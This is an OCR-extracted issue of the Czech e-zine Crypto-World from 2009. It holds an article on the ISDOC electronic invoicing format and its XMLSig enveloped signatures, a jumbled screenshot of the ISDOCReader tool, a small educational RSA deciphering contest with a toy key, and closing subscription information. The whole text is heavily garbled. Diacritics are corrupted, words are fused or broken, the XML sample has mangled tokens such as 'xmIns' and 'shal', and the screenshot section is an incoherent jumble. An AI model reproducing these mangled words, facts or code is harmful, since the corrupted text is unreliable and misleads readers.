z mnoha standardnich polozek formatu vybrat pro pwéziti pouze &které a na &h
vystawt svij tzv. subset. Vysledkem je, Ze firma, ktera masvém IS/ERP implemenovan
subset A pimo neniiZze komunikovat s firmou majici implementovan subBet Musi
z principu vyuzit sluzebieti strany, ktera umiipveést protokoly jednotlivych subseimezi
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sebou, coz typicky byva placena sluzba. Naprotiwtanformatu ISDOC nic takového neni
tieba, protoZze format je présjen jeden. Samdejm¢ je treba se popasovat s problémem
oborovych specifik, ktery je v ISDOC ig8en pomoci hlaskovych a fadkovych
uzivatelskych polozek. To jsou elementy, v jejickenci miZze byt umisina libovolna
uzivatelskd XML struktura, kterd na rozdil od zhyttormatu nepodléha kontrole pomoci
XSD schématu a tudiz nerieba s kazdou takovou uZivatelskou variantotnimzakladni
XSD schéma.

Obecré je moznérici, Zze Pracovni skupina pracovala celych 1&iai na tom, aby format
zohlednil vSechnatdezita specifikateské daové legislativy. NaSim cilem bylo, aby forméat
byl schopen nahradit 95% faktur, které se doposyskwovaly v papirovych firemnich
transakcich. Dsledkem vySe zmémych vilastnosti pak je, Zze pokud libovolna firmaipioa
fakturatni software podporujici format ISDOC a elektronidiakturuje, tak libovolné jiné
firmy podporujici taktéz format ISDOC mohou tytdtiary prijimat a jejich systém je umi
interpretovat. A pokud igimaci systém objevi uzivatelské polozky, kteryozumi, tak je
pouZzije, pokud ne tak je ignoruje. V kazdéifppc je ale faktura ngena jak polozko¥ tak
finanén¢é. Aby prav@podobnost spravné interpretace byla co nejvyS#&tiowalo sdruzeni
SPIS jiz jmenovanou “Deklaraci o sp&fe&m postupu v oblasti elektronické fakturace”, na
které se krom jiz zmirgnych firem shodli i dalSi vyznamné firmy z obordB&P jako jsou
Karat Software, Gordic, Asse€R ¢i dokonce zastupci nadnarodnich gigejako Microsoft
nebo SAPCR. Po vyhlaSeni forméatu vidéznu 2009 se k Deklaraci&dy pripojovat dalsi
firmy. K 1.6.2009 je jejich wet nasledujici: Accord, ALTEC, ALTUS software,
COMPEKON, MICRODATA, ORTEX, TILL CONSULT, TRIADA, \ERA a WinStrom.

Z ¢eho jsme vychazeli

Forméat ISDOC vychézi filozoficky z formatu UBL 2.0jefinovaného mezinarodnim
sdruzenim OASISwWww.oasis-open.olg Z této normy jsmejvodns vysli a chvili se zdalo,
Ze budeme moci jen popsat, co které polozky znajnanaizeme zait implementovat do
svych systém. Casem se ale Zaly objevovat problémy, jak naplnit téhonen legislativni
pozadavek, a v titou chvili bylo jasné, Ze budeme muset pgktaré funknosti pouzit
vlastni polozky, protoZze UBL nic podobnéhaet (napiklad problematika davych zaloh,
pocitdni DPH metodou zdola nebo shora atd.). Tak s@vwhu objevil krom ¢tyi pavodnich
jmennych prostdr i jeden novy — ,isd:“, ve kterém jsme koncentrovakSkeré nove&i
pozmenéné polozky. Kdyz jsme zali davat dohromady jednotliva XML schémata (soybor
XSD) tak se velmi rychle ukézalo, Ze vysledny pog@mat je slozity a naghledny. A tak
jsme nakonec definovali jediny jmenny prostor, kteca z 1/2 vychazi z polozek a datovych
typat UBL a ze druhé poloviny je dopin poloZkami vlastnimi. VSechny polozky maji
samozejme anglické nazvy a kde to bylo mozné, pouzili jsratosly typ shodny s UBL 2.0.

Hlavni rysy technickéhoieSeni
Vice druha dokladi faktura éni povahy

Jak jiz bylo zmigno, forméat ISDOCteSi vSechny zékladni dokumenty faktimiapovahy,

které se mohou vyskytovat ¥iné firemni praxi. Jedna se konkrem fakturu . podpory

ztovani daovych i pipadnych nedsvych zalohovych list, dobropis, vrubopis,
zélohovou fakturu (mysleno negavy zalohovy list), d&ovy zalohovy list a dobropis
dainoveho zalohového listu.
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Doklady v mistni i cizi méné

VSechny doklady mohou byt Bw mistni, nebo v jedné cizieme. Tuto omezujici podminku
jsme stanovili po analyze vyskytu cizénmych doklad s vice nez jednou énou. Podle
nasich zji&ni je takovych doklailjen velmi malé mnoZstvi. Z tohotdéwebdu a sotasre také

z divodu neumirného zkomplikovani vnihich vazeb, jsme rozhodli se touto variantou
nadale nezabyvat.

Identifikace az 5-ti riznych stran na dokladu

ProtoZze na dokladech s&zi¢ vyskytuji krong adres odératele a dodavatele, zapsanych
v obchodnim rejsiku, jeSt adresy dalSi nap adresy fakturgnich mist¢i adresy dodani,
podporuje ISDOC az 5 takovychiul®Zité je to i proto, Ze zakon dovoluje @tiv fakturaci
treti osobu. Mlezité je, Ze rozliSovaci polozky pro identifikaftiem dovoluji pouziti jak
firemnich (proprietarnich) kdd tak celos¥tovych GLN (Global Location Number)
identifikatort a samoiejme také narodnich identifikmich éisel, kterym je \CR Gdaj C.

Identifikace zbozi az 5-ti rozliSujicimi udaji

Podobri jako v gipac firem je u rozliSeni zbozi podporovano hnedkalik druhi
identifikatori. Jsou to az 3iezné kédy podle dodavatele, dale globalni identiikéypu EAN
a pro spoluprace typu ,maly dodavatel a obrovskymatel“ i kédy zbozi podle odipatele.

Podpora sériovychéisel a Sarzi ¥. expiraci

ProtoZze pednetem obchodu a tedy i fakturace dasto zbozi, u kterého jéeba evidovat
jednotliva sériov&isla (typicky velka elektronika) nebo série zboZissejnou Sarzi (typicky
Iéky ¢i potraviny), obsahuje ISDOGiglusné kolekce i na tyto eventuality.

Moznost pouziti tzv. uzZivatelskych polozek

Technicky se jedn& o zvlastni nevalidované koldkagickovych arddkovych polozZek, které
nejsou zamrné nijak svazany shlavnim XSD schématem. Tim je moZve
standardizovaném formatu pouZivat i poloZzky, naykie se vystavce aifpemce dohodli
bilateralre. Nagiklad bude-li nutno na faktwaim fddku se spoebou elektrické energie
v KWh prenést je&t doplhikovou informaci v jakych sazbach &erpani uskut#nilo, jaky byl
pausalni poplatek za konkrétni elektiwna nakolik zakanik vyuZil moznost vykupu zelené
energie, tak je to touto cestou mozné aniz je nut&it celkovou verzi formatu a na vSech
stranach ji implementovat. V praxi tak inforéné systémy vystavce afipemce mohou byt
upraveny Kk pouZzivaniéthto polozek, zatimco ostatni systémy tyto polozigbudou
interpretovat, protoZe tyto nejsou popsany ve walicch schématech. Polozky povinné pro
danovy doklad vSak obsahuje kazdy soubor ISDOC.

Reseni Filoh jako dokumentii majicich pravni relevanci k faktuie

Protoze v papirové praxi sasto vyskytuji u faktur takéfipohy, které mohou mit i pravni
relevanci k matiskému dokladu, museli jsme za &md cile nahradit papirovéeSeni
elektronickymiesit i tyto situace. iflohy mohou obsahovat nédklad vSeobecné obchodni
podminky, pilohou miZe byt kalkul&ni list k faktiee na parkety stegnjako fotografie
billboardu k faktiie na reklamni sluzbyReSeni se v zasadkli na ty, které musi omezit
velikost @iloh a na ty ostatni, kde to nutné neni. K omezetikosti priloh se pistupuje
v piipact, kdy prilohy jsou sodasti samotného XML (vifslusSném kédovani naBASE64)
a jejich nadmrna velikost by tak mohla zcela ochromit zachazepislusnym souborem
(funce n&teni do pantti, verifikace proti XSD atd). Proto jsme se v aéfi ISDOC vydali
druhou cestou, kterou je udrzovarilgh mimo vlastni XML soubor — v jiném datovém
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kontejneru. Format ISDOC jsou tedy ve skatsti formaty dva. Jeden je soubor .isdoc, coz
je vnittné ,klasicky* XML soubor, ktery neobsahuje Zadnélghy a pouzije se préw tomto
piipads. Druhym formatem je soubor .isdocx, ktery je kmitsouborem typu ZIP a ktery
muze krong ,hlavniho” souboru .isdoc nést i libovolné dalsubory jako pilohy daného
dokladu. Vtip je vtom, Ze jednotlivérifphy jsou referencovany wislusné kolekci
»hlavniho* isdoc souboru svym jménem a SHA1 otiskénjak jiz bylo uvedeno, cely obsah
dokladu .isdoc je podepsan el.podpisem. Tim jsobay @iloh sice technicky umighy vrg
XML (a nezdrzuji jeho zpracovani) ale sasré se jakakoliv manipulace giphami
okamzit projevi poruSenim SHA1 otikjednotlivych giloh, piipadré rovnou neplatnosti
elektronického podpisu celé faktury, pokud by skdo pokouSel v ni SHAL otiskyiioh
rucné prepsat. Tim by byl soubor .isdoc prohlaSen za netiokyy (poznénény). Vysledné
reSeni tedy splje sphuje stejna bezgaostni kritéria jako kdybyiflohy byly celé sotéasti
jediného podepsaného XML.

Vlastni implementace elektronického podpisu

Po provedeni reSerSe technik podepisovani jsmeifpad podepisovani XML souboru .isdoc
zvolili normu XMLSig, metodu Enveloped. Jejim pripem je, Ze d&sre pred ukomenim
rootového elementu, kterym je v naSemippct element <Invoice> se vlozi element
<Signature>, ve kterém se cely podpis odehravaittJiohoto elementu jsou pak dalsi:
<SignedInfo><SignatureValue><Keyinfo>. Element <&iginfo> obsahuje kro#npopisu
algoritmi digitalniho otisku, algoritin kanonikalizace a elektronického podpisu htavn
vlastni digitalni otisk celého XML dokumentu a toelementu <DigestValue>.
Kanonikalizace je metoda, kterd uwnistruktury XML vyadi pgebyt&né mezery,
vicenasobné koncéadki a dalSi neproduktivni znaky. Pozor ale, tato netadjak
nemanipuluje s vlastnimi daty jednotlivych elentierkteré i po kanonikalizaciuistavaji
v paivodnim tvarujeSi pouze znaky ve strukeuXML. Napiklad tedy pokud atributdfakého
elmentu je zbyt@né posunut vpravo a podobn Po kanonikalizaci je proveden otisk
piislusnym algoritmem a pak je jiz programem sloZely element <Signedinfo>. Na tento
element je naslednaplikovan elektronicky podpis zvolenou metodowjrtwé wtsSine se
pouziva algoritmus RSA, a vysledek je uloZen doelgtu <SignatureValue>. Abyimce
mel vzdy po ruce viejny Kli¢ podepisujici osoby, je jakdeti element pdana binarni
reprezentace jeho certifikatu a to do jednoho zfmdent elementu <Keylnfo>.

Poznamka: od 1.1.2010 je podle¢®wych dopordeni zapo¥zeno v systémech kgné
spravy vCR pouzivani digitalnich otigkalgoritmem SHA1 a je nutnagjit na rektery vyssi
algoritmus z rodiny SHA2, ndiklad SHA256. Pracovni skupina SPIS na tomto prahlé
aktualre pracuje.

Konkrétni provedeni podpisu v XML souboru faktury imohlo po utitém zjednoduSeni a
naformatovani vypadat nagakto:

<?xml version="1.0" encoding="utf-8"?>
<Invoice xmIns="http://isdoc.cz/namespace/invoice" version="5.1">

.................. -->
<l—poloZky dokumentu faktura-->
.................. -->
<PaymentMeans>
<l—posledni element nepodepsane faktury- -->
</PaymentMeans>
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<Signature xmIns="http://www.w3.0rg/2000/09/xmldsi g#">
<SignedIinfo>
<CanonicalizationMethod Algorithm="http://www.w3.0r g/TR/2001/REC-xml-
€14n-20010315"/>
<SignatureMethod Algorithm="http://www.w3.0rg/2000/ 09/xmldsig#rsa-
shal"/>
<Reference URI="">
<Transforms>
<Transform Algorithm="http://www.w3.0rg/2000/09/xml dsig#enveloped-
signature"/>
</Transforms>
<DigestMethod Algorithm="http://www.w3.0rg/2000/ 09/xmldsig#shal"/>
<DigestValue>29hg/161shG5T0cuwyUEQZiHmn4=</Diges tValue>
</Reference>

</Signedinfo>

<Keylnfo>
<X509Data>
<X509Certificate>MIIEVCCAz+gAKoZlhveNAQAwaDELmak GA1UEBhMCQlox
... vlastni klientsky certifikat ...
goF4Y1lgJOwl6ws=
</X509Certificate>
</X509Data>
</Keylnfo>
</Signature>
</Invoice>

Podpora formatu v jednotlivych IS/ERP

V dok® psani tohotallanku €erven 2009) je8tneni mozné hodnotit Uroremplementace

v jednotlivych IS, protoZze &Sina vyrobé ji planuje az do podzimnich nebo zimnich
legislativnich verzi. Nepochybnbude velmi zajimavé porovnat, jak jednotlivi vycob
k implementaci formatu ISDOC ve svych systémetibtgupili. At to ale provedou taki
onak dilezité je, ze fakturu nebude v systéniijgmnce teba znovu typovat a Ze polozky
budou automaticky (nebo alesppoloautomaticky) rozeznany. V tom se skryva sébélto
reSeni na strampiijemce

Podpora formatu externimi nastroji

Pro (ely podpory piimyslového nasazeni formatu ISDOC jiz existuji ieemt nastroje.
Jeden z nich vyvinula firma ABRA Software a pojmeala jej ISDOCReader. Jde o freeware
tj. program, ktery je mozné kdykoliv stahnoutizspusné adresywww.isdoc.org a z&it jej
volné pouZzivat. Tento nastroj provede po instalaci aswcs odma variantami formatu
ISDOC (.isdoc i .isdocx) a stane se tak vychoziohfzetem tohoto formatu. ISDOCReader
dovoluje libovolny fakturani doklad zobrazit do vizualni podoby faktury &bt ptisluSnym
tlacitkem elektronicky podpis dokladufipadré si doklad i vytisknout. Je také mozné
prohlizet a exportovatifpadné pilohy faktury. DalSim krokem ,workflow" zpracovadbslé
elektronické faktury v mensSi firtn je pak jeji postoupeni k automatickémdéi
poloautomatickému zpracovani do IS/ERHjgmce, kcemuz je opt prislusné tlaitko.
Technicky bude moznost odeslani dokladu do libodaoin IS/ERP vkeSena pomoci
konfiguraniho souboru, ktery si kazdy vyrobce bude moci didtsvé instalace a ktery
ISDOCReader bude volat.
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ap & ¥

Fakturatni adresa
ABRA Software a.s.
Jeremiasova 1422
15300 Praha 13 o
&7 ¥

Diokument se od okamziku aplikace elektronického podpisu nezménil a identita autora podpisu byla prostredks
operacniho systému ovéfena jako plakna,

T
|Fakturaini adresa | &5

Podpis je plathy

10 25097563 DIC: CZ25097
Kontakt: Josef Novak

Telefon: 123456789

E-Mail: novak@abra.eu

¥ystaveno pro Ing. Jifi Kosek (C=CZ, O=Ing, Jifi Kosek [I€ 71612998, OU=1, CN=Ing. JFi Kosek)

¥ystavitel PostSignum Qualified 4
Daturn vystaven dokladu: 29.02.2008 [ Certifikat
Kurz mény pro doklad je 1,000 EUR za =1 -
Obecné | podrobnosti || Cesta k certifikatu |
Platny od 20.3.2009

BIGECRnE podinicy. . Platny do 20.3.2010 ] o
Zpdsob ahrady: HotoyE =1 Informace o certifikatu
Daoklad: FPP-45512
Zplsob Ghrady: Bankovnir Tento certifilkcat je uréen k nasledujicimu GEelu:
Banka: Ceslkd spd - *2.23.134.1.4.1.1.121
Giet 12345678) | zobrazit certifkét +Zasady viech apikact
IBAN: CZ123456,
SWIFT: GIBACZPX
Zpiisob Ghrady: Bankovnim pfevodem 0
E'tanka: Ceskd spofitelna, a.s. * Podrobnosti naleznete v prohlaZeni certifikadniho Oiadu,
U&et 1234567890/0500 H
IBAN: CZ12345678901234567890 S Vystaveno proIng, T Kosek
SWIFT: GIBACZPR
Pradmat [ Mnozstviedn. | Sazba Yystavitel:  PostSignum Qualified CA
Kapesnik papirowy NAPPAY NP4SE | 1oo,000)ks | 1]

Sarfe/sér. tislo Pofet Poznamka Platnost od 20.3,2009 do 20,3,2010

Sarie 3AS 2008 30,000 Ks Pozor doprodej staré fady parfémd

farfe 352008 20,000 ks Movd fada
Papir barevny WERTEC 120g/L 1000,000(Ks
Sluba ve zvlditni sazbé, ekologicks

= 1,000|k = e EvEn 7
pfeprava 4 [ Mainstalovat certifikat. .. ] [Prohlasenl Wstawtele]
[pumt |
| Gazha NOHI

Priklad pouziti freewarového nastroje ISDOCReadenvd#eni el.podpisu.

Pokud se é&ktery z laskavychcéten&t bude zajimat o projekt ISDOC podrafin dalSi
informace ¥etre posledni verze formatu, dokumentace jeho datowstchktur, giklada
datovych soubdr i aktualnich uddj o podpde formatu jednotlivymi vyrobci software
nalezne na adresevw.isdoc.cz
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D. Mala soutéz v lusténi RSA
Pavel VondrusSka fpavel.vondruska@ crypto-world.info)

Pro pgiznivce naSich podzimnich seat v luseéni, ale samaejm¢ i dalSi ¢tende, jsem
pripravil ndsledujici drobnou ulohu.

SougZnim ukolem je rozlughi Sifrového textu:

14 3907 57 18 34 10 47 17 92 06 31 28 65 32 91146 31
26 29 2080 25 06 00 77 03 60 09 00 03 60 11 4a80315 41
07 92 06 16 04 70 10 75 03 60 18 79 00 46 26 78023 18 13 90

K zaSifrovani otekeného textu byl pouzit algoritmus RSA a formatov@w#1.0 (detaily viz
napowda), veejny Kli¢ je (N,e)=(3337, 79).

Pri lusteni seteSitel seznami s algoritmem RSA adeomi si, jak Uzce souvisi bezpest
algoritmu s modulem N.

Pro prvé dvaesitele je pipravena odréna. V gipad zajmu se mohou bezplatz(astnit
kurzu "Problematika infrastruktury vejnych kléi (PKI)“, kterou 25.6.2009 pada
akademie CZ.NIC Http://www.nic.cz/akademie/course/15/dedail/Lektorem kurzu je
P.Vondruska.

SvariesSeni zasilejte na adrgsavel.vondruska@crypto-world.info

Reseni Glohy a jména v3ech &Spych lustitel budou zvéejnéna v letnim dvajisle e-zinu
Crypto-World 7-8/2009, ktery vyjde 1.8.2009. Z ttdwakivodu spoléné sieSenim zaSlete
souhlas se zw¥ejrénim svého jména resp. nick/pseudonym, kter§zen byt misto &
zveejren.

Preji péknou zabavu.

Dopliujici informace k sou#zni uloze

1. Pouzity Sifrovaci algoritmus

V podstat se jedna o klasicky Sifrovaci algoritmus zaloZzaayRSA, kde vSak otéeny text
neni formatovan podle PKCS #1 (verze 1.5,2.0,2al&) podle nami zadanych pravidel, ktera
ozn&ime jako CW #1.0.

2. Asymetricky algoritmus RSA
Zvolime prva@isla p a q a vypteme
N =p*q
®(N) = (p-1)*(9-1)
Dale zvolime nahodn#&slo e, kde
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1<e<®(N), takové, ze e @(N) jsou nesoudna.
Vypocétemecdislo d takové, ze

1<d<®d(N)a

e*d = 1 mod ®(N)
Dvojici (N,d) nazveme soukromy Kl (N,e) véejny Klic.

3. Forméatovani zpravy (CW#1.0)

Zpravu M gekodujeme nejprve doiselného tvaru. K tomu pouZijemekterou vhodnou
pievodovou tabulku. N&ptuto tabulku:

0 1 2 |3 4 5 6 7 8 9
6 0 Mezera 12 |3 4 A B C D E
7 F G H |l J K L M N O
8 P Q R |S T U V W X Y
9 Z 1 2 |3 4 5 6 7 8 9

Zpravu M pak zformatujeme do posloupnosisel pevné délky (délka bude rovna délce
modulu N). K tomu pouZzijeme vlastni formatovangrét pracové nazveme CW#1.0:

Forméatovani CW#1.0 :

1) Ma-li modul délku k, budeme zpraviigvedenou podle tabulkglit na skupiny délky k-1.

2) VSechny skupiny musi mit délku k-1, nema-li protsledni skupina tuto délku, doplnime
ji zprava gislusnym pétem nul.

3) VSechny ziskané skupiny nyni doplnime zleva jedmalou. Délka kazdé skupiny je po
téchto Upravach rovna k.

4) Vysledek po Sifrovani mé délku rovnou maxingky nema-li ji, doplnime vysledek zleva
nulami.

Ziskany vysledek po forméatovani M oznge M= nqp m2 m3

4. ZaSifrovani zpravy M
ZaSifrovanim zpravim pomoci veéejného klée (N,e) rozumimeetizec
P=G G G ..... , kde

Ci=m®modN C,=m, mod N, G=m,°mod N Ci=m®mod N

5. DeSifrovani zpravy P

DesSifrovani zpravy P se pak provede tak, Ze pom&jsoukromy exponent d a tim ziskame
puvodni zpravu M

m,=C,dmod N, ;=C,dmod N, m=C3dmodN ....m=CdmodN

6. Bezpé&nost

Pokud dokaze ffjemce udrzet 9y soukromy klI€ v tajnosti (acisla p a q byla dostates

velkd), pak je ze znalosti Sifrové zpravy @ejeého kiée vypaetre slozité ziskat oteenou
zpravu.
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F.Zavéreéné informace

1. Sesit

Crypto-World je oficialni informéni sesit "Kryptologické sekce Jedna@gskych matematik
a fyzikd" (GCUCMP). Obsahujélanky podepsané autoryiipadné chyby a négsnosti jsou
dilem P.Vondrusky a autbrjednotlivych podepsanyckilanki, GCUCMP za & nema
odbornou ani jinou zodpédnost.

Adresa URL, na nizZ fizete najit tento sesit (zpravidla 3 tydny po jebweslani) a fedchozi
seSity GCUCMP, dern aktualizované novinky z kryptologie a inforémd bezpénosti,
normy, standardy, strankgkterych¢lena a dalSi souvisejici materialy:
http://crypto-world.info

2. Registrace / zruSeni registrace

Zajemci o e-zin se mohou zaregistrovat pomoci dentaa adreseavel.vondruska@crypto-
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